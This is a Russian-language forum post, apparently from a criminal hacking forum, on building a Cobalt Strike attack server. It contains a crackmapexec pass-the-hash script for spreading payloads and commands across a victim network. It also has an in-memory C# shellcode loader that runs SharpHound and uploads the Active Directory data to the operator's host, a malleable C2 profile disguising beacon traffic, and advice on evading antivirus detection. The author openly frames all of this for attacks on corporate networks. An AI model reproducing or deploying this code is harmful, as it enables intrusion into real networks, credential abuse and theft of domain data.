При первой загрузке в графическую оболочку, выполните updatecs. Скрипт автоматически загрузит внушительный арсенал утилит для кобальт-страйка, произведет автоматическую обфускацию исполняемых файлов с помощью net-obfuscate, а так же перекомпилирует наши биконы с помощью TDM-GCC (получим минимум детектов). Всем неравнодушным советую поиграть с аргументами компилятора в файле /opt/cobaltstrike/artifactkit/winebuild.sh - практически без крови и пота можно достигнуть 0/77.

Конечно maleable c2profile относится больше ко второй главе (серверной части), но я кратко решил рассказать пару моментов именно тут. Единственная работа, которую интересно было читать - как раз про профили (точнее ее часть), так что очень советую обратить внимание именно на нее, лавры у автора отнимать совсем не хочется, видно что человек небезразличен к тематике. Просто хочу отметить тут, что для выживаемости сервера параметр "host stage" был выставлен на "false". Это обозначает что мы лишены возможности создания staged payloads, так как именно стейджер выдаст в Вашем сервере - кс, а так же позводит любому бикону подключиться к вашей системе. Рафаель полностью солидарен со мной (шутка конечно) и планирует совсем исключить возможность создания таких нагрузок в ближайших версиях CS, о чем он намекает нам при использовании c2lint.

Ну и последнее, что хочу рассказать и подсказать - это использовние и написание .cna скриптов и gui-скрипта, в связке с crackmapexec (смотрим github, штука - просто огонь) и SOCKS4 сервером, запущенным с помощью бикона, поимеем всю сеть условного вражины за короткий промежуток времени. Видео сего действия - у меня на ютуб канале. Ниже - сорс. На этом хочу закончить на такой ноте: не бойтесь эксперементировать, добавлять в мой скрипт свои части кода, в файл docker-compose - свои контейнеры. Это - всего лишь примитивный скелет Вашей лаборатории, где именно Вам известно, что нужно, а что нет. Еще хочу сказать, что вдохновили на эту статью люди, которые просто говорят спасибо в личке и комментариях. А так же admin этого форума. Именно его вежливость заставила меня написать первые материалы для xss.is Ни на одном другом форуме я больше не присутствую, да и вообще форуме - ... =) В общем всем хорошего настроения))))

Код:
#!/bin/bash

cat<<EOF>/etc/proxychains.conf
quiet_mode
dynamic_chain
[ProxyList]
socks4  XHOSTIP 27500
EOF

zenity --window-icon=/usr/share/icons/Papirus/128x128/apps/clamav.svg  --forms --title="NetworkAbuser" --width="400" --text="Wait for Starting client... in beacon console" \
--add-entry="network       " --add-entry="username        " --add-entry="hash          "  --add-combo="method" --combo-values="put|inject|execute" &> /tmp/.values
CIDR="$(cat /tmp/.values | cut -d'|' -f1)"
USER="$(cat /tmp/.values | cut -d'|' -f2)"
HASH="$(cat /tmp/.values | cut -d'|' -f3)"
METH="$(cat /tmp/.values | cut -d'|' -f4)"
if [ -z "$CIDR" ] || [ -z "$USER" ] || [ -z "$HASH" ] ; then exit 0 ; fi

if test "$METH" = "put" || test "$METH" = "inject" ; then
INPUT="$(zenity --window-icon=/usr/share/icons/Papirus/128x128/apps/clamav.svg --file-selection --title=NetworkAbuser)" ; OUTPUT="$(echo $INPUT | awk -F'/' '{print $NF}')"
elif test "$METH" = "execute" ; then
EXECCMD="$(zenity --window-icon=/usr/share/icons/Papirus/128x128/apps/clamav.svg --title=NetworkAbuser --text='Enter your command...' --width=400 --entry)"
fi

if test "$METH" = "put" ; then
echo "proxychains  crackmapexec -t 30 --verbose smb $CIDR -u $USER -H $HASH --put-file $INPUT \\\\Windows\\\\Temp\\\\$OUTPUT -x \\\\Windows\\\\Temp\\\\$OUTPUT" > /tmp/.crackmapexeccmd
elif test "$METH" = "inject" ; then
echo "proxychains  crackmapexec -t 30 --verbose smb $CIDR -u $USER -H $HASH -M pe_inject -o PATH=$INPUT" > /tmp/.crackmapexeccmd
elif test "$METH" = "execute" ; then
echo "proxychains  crackmapexec -t 30 --verbose smb $CIDR -u $USER -H $HASH -x "$EXECMD"" > /tmp/.crackmapexeccmd
fi

chmod +x /tmp/.crackmapexeccmd ; xfce4-terminal --fullscreen --hide-menubar --hide-toolbar --hide-scrollbar -e 'sudo /tmp/.crackmapexeccmd' --hold

## 4.аКомпот?!

Забыл самое главное: сборка всего с помощью docker-compose. В папке /localhost на хосте есть одноименный файл, который выглядит примерно следующим образом:

Код:
version: "3.7"
services:

  wireguard:
    image: jordanpotter/wireguard
    container_name: wireguard
    restart: unless-stopped
    networks:
      - backbone
    volumes:
      - '/etc/wireguard/socks/wg.conf:/etc/wireguard/mullvad.conf'
      - '/lib/modules:/lib/modules'
    cap_add:
      - NET_ADMIN
      - SYS_MODULE
    sysctls:
      - net.ipv4.conf.all.src_valid_mark=1
      - net.ipv4.ip_forward=1

  suos:
    depends_on:
      - wireguard
    image: kali_suos
    container_name: suos
    restart: unless-stopped
    network_mode: service:wireguard
    cap_add:
      - NET_ADMIN
    volumes:
      - '/opt/kali_suos/root:/root'
      - '/var/run/docker.sock:/var/run/docker.sock'
    command: bash /entrypoint.sh
    environment:
      - HOSTNAME=$HOSTNAME

  acun:
    depends_on:
      - wireguard
    image: 0x4k/acunetix
    container_name: acun
    restart: unless-stopped
    network_mode: service:wireguard
    command: bash /start.sh

networks:
  backbone:
    driver: bridge

А так же файл up.sh

Код:
#!/bin/bash
cd /localhost ; docker commit suos kali_suos
export HOSTNAME="$(hostname)" ;  docker-compose down --remove-orphans
docker-compose  up -d --force-recreate --remove-orphans

Как несложно догадаться - компот - acunetix. Файл up.sh сохранит контейнер в его нынешнем состоянии и пересоздаст заново остальноые (пересоздаст контейнеры - не значит перестроит, имейте ввиду))))
Компот - клиент, для работы с графической оболочкой и приятными бонусами, в виде мультиплатформенности и значка-запуска в трее. Это electron-приложение, которое так же придаст слой "лука" нашей с Вами безопасности, да и к тому же жутко удобное в использовании. Компилируется на хосте командой makeclients, после чего выдает вам ссылку но загрузку версий под Windows и Linux. Да и вообще, я постарался сделать установщик максимально простым и информативным... Понравилось, только честно?)

Прочитать на белом фоне (а самые внимательные уже давно прочитали и установили, ведь все это "висело" у меня в подписи) можно по адресу: https://x4k.tools XD

https://youtu.be/oSSzoCuqgG4
https://youtu.be/3GRnQXXGky0

Обновление: 29 июля

Итак, как я и обещал - годная статья - выкладываю патч XD. Давайте на эту же тему) Итак:

V2.1 - BloodHound
БладХаунд - легендарная собака, многие хотели, но не смогли.

Я сделал следующее: установил сервис на хост (точнее несколько), который слушает на :899 и принимает .зипы, которые генерирует ингестор. Ингестор в свою очередь выполняется fileless, через execute-assembly. Собирается пошагово так: скачивается последний официальный компилированный SharpHound.exe, с помощью donut'a преобразуется в шеллкод с добавлением некоторых аргументов для запуска. Было несколько вариантов, удобнее всего был метод с ReflectiveLoader. Но решил сделать csharp, подумал так будет правильнее. Использовал самый простой RunPE и добавил свои функции. После исполнение шеллкода в памяти, полученный зип-архив "переправляется" на хост, где его и ждет вышеназванный :899 для разбора и анализа. После рабочая папка удаляется. Остальное делает sleep (кто не вкурсе - Рафаель создал свой язык, на котором и написан aggressive script). Немного про БладХаунд: утилита, которая оказывает неоценимую помощь в lateral moving. Строит потрясающие графики, собирает огромное количество информации. В графическом интерфейса, помимо просмотра этой инфы, Вы с легкостью можете узнать "путь" к любому виду Админов и других сказочных существ. Чтобы Вам было проще добираться - стрелки смазаны специальным зельев, которое по клику правой кнопкой мыши в пункт "Help", как ни странно, но предоставляет РЕАЛЬНУЮ помощь, в виде прямых команд, без разгадывания квестов и такие же, без доли стеснения References.

1f4f6151b791d55b85a37.png


Если сказать проще - позволяет без боли, унижений, а главное кучи потраченного времени на ковыряние сети получить "Главный Приз". Итак, основная его действующая часть, которая инициализируется до запуска клиента кс.

Код:
#!/bin/bash

rndname="$(curl -s https://gitlab.com/x4k/pub/-/raw/master/names.txt | shuf -n1)"
rm -r /opt/cobaltstrike/custom/sweet/output &> /dev/null ; mkdir /opt/cobaltstrike/custom/sweet/output
wget -qO /tmp/SharpHound.exe https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe
donut -a2 -z2 -i/tmp/SharpHound.exe -p"--NoSaveCache --ZipFilename report --CollectionMethod All" -o /tmp/loader.bin
XBYTES="$(xxd -i /tmp/loader.bin | tail -n1 | cut -d'=' -f2 | head -c-2 | sed 's+ ++g')"

cat<<EOF>/opt/cobaltstrike/custom/sweet/output/$rndname.cs
using System;
using System.IO;
using System.Linq;
using System.Diagnostics;
using System.Threading;
using System.Runtime.InteropServices;

namespace ShellcodeLoader
{
class Program
{
static void Main(string[] args)
{
byte[] x64shellcode = new byte[$XBYTES] {
EOF

xxd -i /tmp/loader.bin | tail -n+2 | head -n-1 >> /opt/cobaltstrike/custom/sweet/output/$rndname.cs

cat<<'EOF'>>/opt/cobaltstrike/custom/sweet/output/$rndname.cs
IntPtr funcAddr = VirtualAlloc(
IntPtr.Zero,
(ulong)x64shellcode.Length,
(uint)StateEnum.MEM_COMMIT,
(uint)Protection.PAGE_EXECUTE_READWRITE);
Marshal.Copy(x64shellcode, 0, (IntPtr)(funcAddr), x64shellcode.Length);

IntPtr hThread = IntPtr.Zero;
uint threadId = 0;
IntPtr pinfo = IntPtr.Zero;

hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);

for (int i = 1; i <= 5; i++) {
Console.WriteLine("Thread paused for {0} second", 5); Thread.Sleep(1000); Console.WriteLine("i value: {0}", i);
}

string tpath = @"C:\ProgramData\mydata" ; var directory = new DirectoryInfo(tpath); string endfile = @"C:\ProgramData\mydata\report.zip";
var myFile = (from f in directory.GetFiles("*.zip") orderby f.LastWriteTime descending select f).First();
string mile = "" + myFile; File.Move(mile, endfile);

System.Net.WebClient Client = new System.Net.WebClient(); Client.Headers.Add("Content-Type", "binary/octet-stream");
string ServerIp = @"http://zxlab.io:899/upload?token=f9403fc5f537b4ab332a";

if (File.Exists(endfile)) {
var result = Client.UploadFile(ServerIp, "POST", endfile); Console.WriteLine("Upload complete! Enjoy XD"); File.Delete(endfile);
} else {
Console.WriteLine("ERROR! CANNOT DETERMINE USERS DOMAIN OR CANNOT CONECT TO LDAP!"); return;
}

Process abominable = new Process(); abominable.StartInfo.FileName = "cmd.exe";
abominable.StartInfo.Arguments = @"/c timeout 10 && rd /q /s C:\ProgramData\mydata";
abominable.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; abominable.Start();

return;
}

[DllImport("kernel32.dll")]
private static extern IntPtr VirtualAlloc(
IntPtr lpStartAddr,
ulong size,
uint flAllocationType,
uint flProtect);

[DllImport("kernel32.dll")]
private static extern IntPtr CreateThread(
uint lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr param,
uint dwCreationFlags,
ref uint lpThreadId);

[DllImport("kernel32.dll")]
private static extern uint WaitForSingleObject(
IntPtr hHandle,
uint dwMilliseconds);

public enum StateEnum
{
MEM_COMMIT = 0x1000,
MEM_RESERVE = 0x2000,
MEM_FREE = 0x10000
}

public enum Protection
{
PAGE_READONLY = 0x02,
PAGE_READWRITE = 0x04,
PAGE_EXECUTE = 0x10,
PAGE_EXECUTE_READ = 0x20,
PAGE_EXECUTE_READWRITE = 0x40,
}
}
}
EOF

sed -i "s+zxlab.io+$HOSTNAME+g" /opt/cobaltstrike/custom/sweet/output/$rndname.cs
mcs -platform:x64 -t:winexe /opt/cobaltstrike/custom/sweet/output/$rndname.cs -out:/opt/cobaltstrike/custom/sweet/output/$rndname.exe
cp /opt/cobaltstrike/custom/sweet/sweet.bak /opt/cobaltstrike/custom/sweet/sweet.cna ; sed -i "s+Bloodhound+$rndname+g" /opt/cobaltstrike/custom/sweet/sweet.cna

И простейший алиас запуска в терминале бикона:

Код:
alias easyblood {
brm($1, "C:\\ProgramData\\mydata");
bmkdir($1, "C:\\ProgramData\\mydata");
bcd($1, "C:\\ProgramData\\mydata");
bexecute_assembly($1, "custom/sweet/output/Bloodhound.exe");
}

/usr/local/bin/cobalstrike был изменен таким образом:

Код:
#!/bin/bash
export PATH=$PATH:~/go/bin/:/opt/PEzor:/opt/PEzor/deps/donut/:/opt/PEzor/deps/wclang/_prefix_PEzor_/bin/
sudo /opt/cobaltstrike/custom/sweet/makeblood.sh && sleep 2 | zenity --window-icon="/usr/share/icons/Papirus/128x128/apps/clamav.svg" --progress --auto-kill \
--auto-close --text='D0nt w0rry. Do b4d th1ngs..' --pulsate --title="_unkn0wn:::CobaltStrike" --no-cancel --width="300"
cd /opt/cobaltstrike
xhost +
./start.sh


Теперь, все, что Вам необходимо сделать: получить АдминАккаунт и выполнить в консоли бикона easyblood. Имейте ввиду, что собака работает только в контексте домена

Помимо >@ изменению подверглись многие аспекты "скрипта", увидеть полный и подробный список которых Вы можете в последнем коммите. XD

Очень хочется отметить, что все это протестировано, опробовано и заснято на видео, которое я покажу немного позже ;-) Конкурс (и мой тоже) продолжается ;-)

anonfiles.com/22Y4078ey7/install-workserver_rar

Код:
#!/bin/bash

#DEFINE: _GETPLUSHKI

#После прочтения этой статьи Вы получите:
  #* рабочий скрипт создания VPS сервера для тестирования на проникноваение от A до Z
  #* воспользоваться этим скриптом сможет любой. От самого соленого "Новичка" до, казалось-бы "Профессионала" ;-) Внутри - масса интересного: теперь Вам не нужно покупать "абузоустойчивые сервера для скана и брута" - скрипт сделает такой сервер за Вас! Единственное что потребуется от Вас - купить VPS помощнее и аккаунт VPN с wireguard. Дабы избежать рекламы этих сервисов, я намеренно не указываю тут названия, но Вы всегда можете (точнее как всегда) постучаться в личку с этим вопросом)) Вы сможете спать спокойно после череды атак но "корпы" - ведь Вы будете защищены на 150%! Вы получите графическую оболочку и клиент для работы через нее! А так же куча инструментов, которыми сможете воспользоваться после окончания работы скрипта. Каких? Читаем ниже ;-) Прошу не пинать, если вдруг статься принесла убыток Вашему бизнесу: я за диалог ;-)

#DEFINE: _ABOUT

#Все пишут о "поднятии локальных привелегий", о "уязвимостях нулевого дня (ранее я уже выкладывал парочку, можете глянуть в профиле) и прочих радостях, для пользователя, который только совершает первые шаги в этом направлении, совершенно недоступных, а иногда даже отпугивающих, вводящих в заблуждение. Поэтому я решил подойти к вопросу немного с другой стороны. Начну, как говорится, с начала. А именно - создания безопасного "рабочего места" и обеспечение пользователя инструментами первой небходимости. Нечто новое тут найдут так-же и "Профессионалы" индустрии. Спросите "с чего такая уверенность?". Отвечу: не мало людей пишут в личку (мы сейчас о "Профи"). Компетентность подобных - очень за "0". Без обид ;-) Читаем, исполняем и наслаждаемся =)

  #Сразу хочу оговориться: для решения подобной задачи я выбрал и использую такую конфигурацию - 12 ядер, 64 ОЗУ, 1ТБ ссд.
    #Обошлась подобная конфа - 150 долларов в год. Т.е. по 12,5$ в месяц. Подобное предложение сможете без труда отыскать в сети
    #Везде пароли: p@ssw0rd

#DEFINE: _HOSTWEAPONISATION
 
#Ниже - скрипт обустройства хоста, который послужит нам платформой для нашей будущей экосистемы, в котором (и далее в других) я постараюсь максимально понятно, досутпно а главное с наивысшим КПД(*по моему мнению)  выполнить эту, с одной стороны простую задачу. Но в любом уравнении всего существуют неизвестные, которые я постараюсь максимально раскрыть.

export DEBIAN_FRONTEND=noninteractive
export TERM=xterm-256color
USE_COLORS=true

#repo
home="$(pwd)" ; hname="$1" ; hostname "$hname" ; echo "$hname" > /etc/hostname ; echo 127.0.0.1 localhost > /etc/hosts ; echo "$(wget -qO- ipinfo.io/ip)" "$hname" >> /etc/hosts
                wget https://kali.download/kali/pool/main/k/kali-archive-keyring/kali-archive-keyring_2020.2_all.deb
                sleep 1 ; dpkg -i kali-archive-keyring_2020.2_all.deb

echo 'deb http://kali.download/kali kali-rolling main non-free contrib' > /etc/apt/sources.list
sleep 10 ; while [[ -n "$(wget -O /tmp/dummy https://repo.x4k.dev/dummy)" ]] ; do sleep 1; done
wget https://kali.download/kali/pool/main/k/kali-archive-keyring/kali-archive-keyring_2020.2_all.deb ; sleep 1 ; dpkg -i kali-archive-keyring_2020.2_all.deb

#swap
dd if=/dev/zero of=/swapfile2 bs=1G count=8 ; mkswap /swapfile2
chmod 600 /swapfile2 ; swapon /swapfile2
echo '/swapfile2        none    swap    sw,pri=10       0       0' >> /etc/fstab ; rm /etc/motd &>/dev/null

#upgrade
apt-get update && apt-get -y dist-upgrade -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold"
touch /root/.hushlogin

#packages
apt-get -f -y install certbot ipset curl sudo nodejs npm jq golang git unzip python certbot openjdk-11-jdk python2-dev python2 python3-pip python3-dev make htop dnsutils net-tools curl wget zip calc wireguard screen p7zip-full docker.io docker-compose inotify-tools kali-defaults kali-linux-core python-is-python2 ntp wine64 wine nano imagemagick -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold"
systemctl enable docker ; systemctl start docker
apt-get -y purge apache2

#timedate issue
systemctl restart ntp.service
cat<<'EOF'>>/etc/ntp.conf
server 0.ubuntu.pool.ntp.org
server 1.ubuntu.pool.ntp.org
server 2.ubuntu.pool.ntp.org
server 3.ubuntu.pool.ntp.org
EOF
ntpq -p ; timedatectl set-local-rtc 1 ; hwclock --systohc ; sleep 5


#pip2
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py ; python get-pip.py

#ulimit
echo 'session required        pam_limits.so' >> /etc/pam.d/common-session
cat<<'EOF'>/etc/security/limits.conf
*               soft    nofile            655350
*               hard    nofile            655350
root            soft    nofile            655350
root            hard    nofile            655350
EOF

#transfer.sh
wget -O /usr/local/bin/transfer.sh $(curl -sL https://api.github.com/repos/dutchcoders/transfer.sh/releases/latest | grep linux-amd64 | grep browser_download_url | head -1 | cut -d \" -f 4) && chmod +x /usr/local/bin/transfer.sh

cat<<'EOF'>/etc/systemd/system/transfer.service
[Unit]
Description=transferr

[Service]
ExecStart=sudo transfer.sh --listener 0.0.0.0:4466 --temp-path /tmp/  --provider local --basedir /tmp --purge-interval 1
WorkingDirectory=/tmp
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target
EOF

#grub
cat<<'EOF'>/etc/default/grub
GRUB_DEFAULT=0
GRUB_TIMEOUT=0
GRUB_CMDLINE_LINUX_DEFAULT="elevator=noop ipv6.disable=1 net.ifnames=0 apparmor=1 security=apparmor mce=0 page_poison=1 pti=on mds=full,nosmt audit=1 components union=overlay vsyscall=none init_on_alloc=1 init_on_free=1 l1tf=full,force spectre_v2=on spec_store_bypass_disable=seccomp extra_latent_entropy quiet"
GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian`
GRUB_CMDLINE_LINUX="initrd=/install/initrd.gz"
EOF

update-grub

#DNS-server
mkdir /tmp/dns && cd /tmp/dns ; wget -nv --show-progress "$(curl -sL https://api.github.com/repos/DNSCrypt/dnscrypt-proxy/releases/latest | grep dnscrypt-proxy-linux_x86_64- | grep browser_download_url | head -1 | cut -d \" -f 4)" && tar xf dnscrypt-proxy-linux_x86_64-* -C /tmp/ ; mv /tmp/linux-x86_64 /opt/dnscrypt-proxy ; ln -s /opt/dnscrypt-proxy/dnscrypt-proxy /bin/ ; systemctl disable systemd-resolved
cat<<'EOF'>/opt/dnscrypt-proxy/dnscrypt-proxy.toml
listen_addresses = ['127.0.0.1:53']
max_clients = 250
ipv4_servers = true
ipv6_servers = false
dnscrypt_servers = true
doh_servers = true
require_dnssec = true
require_nolog = false
require_nofilter = false
disabled_server_names = []
force_tcp = false
timeout = 5000
keepalive = 30
blocked_query_response = 'refused'
lb_strategy = 'p2'
lb_estimator = true
cert_refresh_delay = 240
fallback_resolvers = ['9.9.9.9:53', '8.8.8.8:53']
ignore_system_dns = true
netprobe_timeout = 60
netprobe_address = '9.9.9.9:53'
log_files_max_size = 10
log_files_max_age = 7
log_files_max_backups = 1
block_ipv6 = false
block_unqualified = true
block_undelegated = true
reject_ttl = 600
cache = true
cache_size = 256000
cache_min_ttl = 2400
cache_max_ttl = 86400
cache_neg_min_ttl = 60
cache_neg_max_ttl = 600

[local_doh]

[query_log]

  format = 'tsv'

[nx_log]

  format = 'tsv'

[blacklist]

[ip_blacklist]

[whitelist]

[schedules]

[sources]

  [sources.'public-resolvers']
  urls = ['https://raw.githubusercontent.com/DNSCrypt/dnscrypt-resolvers/master/v2/public-resolvers.md', 'https://download.dnscrypt.info/resolvers-list/v2/public-resolvers.md']
  cache_file = 'public-resolvers.md'
  minisign_key = 'RWQf6LRCGA9i53mlYecO4IzT51TGPpvWucNSCh1CBM0QTaLn73Y7GFO3'
  prefix = ''

  [sources.'relays']
  urls = ['https://raw.githubusercontent.com/DNSCrypt/dnscrypt-resolvers/master/v2/relays.md', 'https://download.dnscrypt.info/resolvers-list/v2/relays.md']
  cache_file = 'relays.md'
  minisign_key = 'RWQf6LRCGA9i53mlYecO4IzT51TGPpvWucNSCh1CBM0QTaLn73Y7GFO3'
  refresh_delay = 72
  prefix = ''

    [sources.quad9-resolvers]
    urls = ["https://quad9.net/dnscrypt/quad9-resolvers.md", "https://raw.githubusercontent.com/Quad9DNS/dnscrypt-settings/main/dnscrypt/quad9-resolvers.md"]
    minisign_key = "RWQBphd2+f6eiAqBsvDZEBXBGHQBJfeG6G+wJPPKxCZMoEQYpmoysKUN"
    cache_file = "quad9-resolvers.md"
    refresh_delay = 72
    prefix = "quad9-"

[broken_implementations]

fragments_blocked = ['cisco', 'cisco-ipv6', 'cisco-familyshield', 'cisco-familyshield-ipv6', 'quad9-dnscrypt-ip4-filter-alt', 'quad9-dnscrypt-ip4-filter-pri', 'quad9-dnscrypt-ip4-nofilter-alt', 'quad9-dnscrypt-ip4-nofilter-pri', 'quad9-dnscrypt-ip6-filter-alt', 'quad9-dnscrypt-ip6-filter-pri', 'quad9-dnscrypt-ip6-nofilter-alt', 'quad9-dnscrypt-ip6-nofilter-pri', 'cleanbrowsing-adult', 'cleanbrowsing-family-ipv6', 'cleanbrowsing-family', 'cleanbrowsing-security']

[doh_client_x509_auth]

[anonymized_dns]

skip_incompatible = false

[dns64]

[static]
EOF
dnscrypt-proxy -service install ; dnscrypt-proxy -service start ; cd ~
rm /etc/resolv.conf ; echo nameserver 127.0.0.1 > /etc/resolv.conf ; chattr +i /etc/resolv.conf

#cobaltstrike
wget -O /tmp/cs.zip repo.x4k.dev/cobalt_xss.zip ; mkdir /opt/cobaltstrike ; unzip -P xss.is /tmp/cs.zip -d /opt/cobaltstrike ; rm -r /opt/cobaltstrike/custom ; sleep 1

cat<<'EOF'>/usr/local/bin/gencert
#!/bin/bash

runuser=$(whoami)
tempdir=$(pwd)
domain="$(hostname)"
password="p@ssw0rd"
domainStore="cobaltstrike.store"
domainPkcs="$domain.pkcs12"

func_install_letsencrypt(){
  echo '[Starting] to build letsencrypt cert!'
  certbot certonly --standalone -d $domain -n --register-unsafely-without-email --agree-tos
  if [ -e /etc/letsencrypt/live/$domain/fullchain.pem ]; then
    echo '[Success] letsencrypt certs are built!'
  else
    echo "[ERROR] letsencrypt certs failed to build.  Check that DNS A record is properly configured for this domain"
  exit 1
  fi
}

func_build_pkcs(){
  cd /etc/letsencrypt/live/$domain
  echo '[Starting] Building PKCS12 .p12 cert.'
  openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem -out $domainPkcs -name $domain -passout pass:$password
  echo '[Success] Built $domainPkcs PKCS12 cert.'
  echo '[Starting] Building Java keystore via keytool.'
  printf "yes" | keytool -importkeystore -deststorepass $password -destkeypass $password -destkeystore $domainStore -srckeystore $domainPkcs -srcstoretype PKCS12 -srcstorepass $password -alias $domain
  echo '[Success] Java keystore $domainStore built.'
  cp $domainStore $tempdir
  echo '[Success] Moved Java keystore to current working directory.'
}

main() {
  func_install_letsencrypt
  func_build_pkcs
}
main
EOF
chmod +x /usr/local/bin/gencert ; (crontab -l | grep . ; echo -e "0 0 1,15 * * sudo /usr/local/bin/gencert") | crontab -
cd /opt/cobaltstrike ; rm cobaltstrike.store ; gencert

cat<<'EOF'>url.profile
###Global Options###
set sample_name "url.profile";

set sleeptime "37500";
set jitter    "26";
set useragent "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36";

set host_stage "true";

###DNS options###
dns-beacon {
    # Options moved into 'dns-beacon' group in 4.3:
    set dns_idle             "8.8.8.8";
    set dns_max_txt          "220";
    set dns_sleep            "0";
    set dns_ttl              "1";
    set maxdns               "255";
    set dns_stager_prepend   ".wwwds.";
    set dns_stager_subhost   ".e2867.dsca.";
 
    # DNS subhost override options added in 4.3:
    set beacon               "d-bx.";
    set get_A                "d-1ax.";
    set get_AAAA             "d-4ax.";
    set get_TXT              "d-1tx.";
    set put_metadata         "d-1mx";
    set put_output           "d-1ox.";
    set ns_response          "zero";
}

###SMB options###
set pipename "ntsvcs";
set pipename_stager "scerpc";

###TCP options###
set tcp_port "8000";

###SSL Options###
https-certificate {
    set keystore "cobaltstrike.store";
    set password "p@ssw0rd";
}

###HTTP-GET Block###
http-get {
    set uri "/wp-content/themes/calliope/wp_data.php";
    client {
        header "Accept" "*/*";
        header "Host" "wmwifbajxxbcxmucxmlc.com";
        header "Connection" "Keep-Alive";
    metadata {
        base64url;
        prepend "SESSIONID=";
        header "Cookie";
    }
    }
    server {
        header "Server" "nginx";
        header "Content-Type" "application/x-msdos-program";
        header "Connection" "close";
        header "Last-Modified" "Fri, 24 Apr 2020 23:06:05 GMT";
        header "ETag" "\"76200-5a41168e83140\"";
        header "Accept-Ranges" "bytes";
        output {
            netbios;
        prepend "MZ......................@.............................................    .!..L.!This program cannot be run in DOS mode.
$.......PE..L...$..^...........!................9+....................................................@..................................$..P.......X...............................8...............................@............................................text............................... ..`.rdata..6N.......P..................@[email protected]...`[email protected]............@..............@[email protected]..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................h.........Y.....h.........Y.....h.........Y......D$..V........t    V..........^.....D$..T$....H.......T$.....t$.R.P..T$..H.;J.u...;.u.........2.....................D$.;H.u
..;D$.u......2...........4.............QV.t$..D$...........t$........4...E..F......F.........:.u.3.QR.........^Y.....W.y...A..u.+._QR.........^Y.........4.............Q.D$...$....V.t$....u&j..F........F.....h.4......K.....^Y...PV.=.....^Y...........5.............QV.t$..D$......P....t$........4...E..F......F.........:.u.3.QR.........^Y.....W.y...A..u.+._QR.........^[email protected]..^[email protected]..^..........
'R.......S...C..V.5 C..+....L$...C...
,R.........+R.....f.D$..P...W.=";
        append "p....D$...C.....C...D$$6....L$..........;.r.(.\"R.....+........@+....C....+.+.........5 C....!...u....C..k..+...U....+....f9T$.w............$R....E.......C..k
.C.....v+..C...D$...C...D$..8....D$.+...C.......:.........&R....
\"R..........u...C....E......C.........*
.C......L$..
,R....@+
.C...
.C....
0R..It6..*t(......t............C.....D$.....:..C...    .\\$............u...][email protected]..+\\$....L$.*.....L$..
,R....@+......C...|$ Z...u...
(R....+.......5 C...L$...T.
..|$ Z....9u...
(R....+.......5 C...D$....@+L$..L$$....L$........=p..._^[...............S.$.U.l$.VW.{...;.......+.9|$..B|$.;.u.../9F........~...F.r...U......j......_..^][.............F.;.s..v.W.A.....tj.{..r....~..r*...(..u..~....r..._.....^][..._..^][..........t.W..+PQ.........~...~.r.....8..._^][.......8._..^][...hd........hd........hT....j...............S.\\$.V....tW.N....r.......;.rE...r........F...;.v1...r..t$.....+.SV.....^[....t$.....+.SV.....^[...W.|$....wz.F.;.s..v...W.!.....t\\.~..r(...&..u..~....r
.._.....^[....._^[..........t.WSP.........~...~.r.....8..._^[.......8._..^[...hT....m..................V...L$.W.~.;.r{.T$...+.;.w!.~...N.r
.._......^....._^.........tC.~..r.......+.S.....+.t.P...PS.........~...~.[r
....8..._^.......8._..^...hd....................U..j.h@...d.....P...SVW..0..3.P.E.d......e....u..E.........v....'.^..............;.v.......<.+.;.v.......O..E.....3..E...tF...w.Q.........E...u1......E..M..E.@.e.P.E........E..%.....}..E..u..E..]...tH.~..r1.../.u..~..r
.6........j..F......F.....j.............t.SQP.........~..r
.6.........E.......~..^....r........M.d.
....Y_^[..].......D$.3...t....w.P.,..........t............U...=..........t..M.9.t
....x..u.3.]..@.].U...=,.....(...t..M.9.t
....x..u.3.]..@.].U..V.u...............^]...U..V.u....A...........^]...U..V.u....&...........^]...U..V.u..........(.....^]...................U..V..............E..t.V.I...Y..^]...U..V........E..t.V.*...Y..^]...U.....j..E..E.....P.M..t...h.....E..E.....P.>....U......E..M..E..E.P.!...h.....E..E.....P......U......E..M..E..E.P.....h.....E..E.(...P......;";
            print;
        }
    }
}

#HTTP-GET VARIANT
http-get "variant_april24dll" {
    set uri "/files/april24.dll";
    client {
        header "Accept" "*/*";
        header "Host" "wmwifbajxxbcxmucxmlc.com";
        header "Connection" "Keep-Alive";
    metadata {
        base64url;
        prepend "SESSIONID=";
        header "Cookie";
    }
    }
    server {
        header "Server" "nginx";
        header "Content-Type" "application/x-msdos-program";
        header "Connection" "close";
        header "Last-Modified" "Fri, 24 Apr 2020 23:06:05 GMT";
        header "ETag" "\"76200-5a41168e83140\"";
        header "Accept-Ranges" "bytes";
        output {
            netbios;
        prepend "MZ......................@.............................................    .!..L.!This program cannot be run in DOS mode.
$.......PE..L...$..^...........!................9+....................................................@..................................$..P.......X...............................8...............................@............................................text............................... ..`.rdata..6N.......P..................@[email protected]...`[email protected]............@..............@[email protected][email protected]................................................................................................................................................................................................................................................................................................................................................................................................................................................................h.........Y.....h.........Y.....h.........Y......D$..V........t    V..........^.....D$..T$....H.......T$.....t$.R.P..T$..H.;J.u...;.u.........2.....................D$.;H.u
..;D$.u......2...........4.............QV.t$..D$...........t$........4...E..F......F.........:.u.3.QR.........^Y.....W.y...A..u.+._QR.........^Y.........4.............Q.D$...$....V.t$....u&j..F........F.....h.4......K.....^Y...PV.=.....^Y...........5.............QV.t$..D$......P....t$........4...E..F......F.........:.u.3.QR.........^Y.....W.y...A..u.+._QR.........^[email protected]..^[email protected]..^..........
'R.......S...C..V.5 C..+....L$...C...
,R.........+R.....f.D$..P...W.=";
        append "p....D$...C.....C...D$$6....L$..........;.r.(.\"R.....+........@+....C....+.+.........5 C....!...u....C..k..+...U....+....f9T$.w............$R....E.......C..k
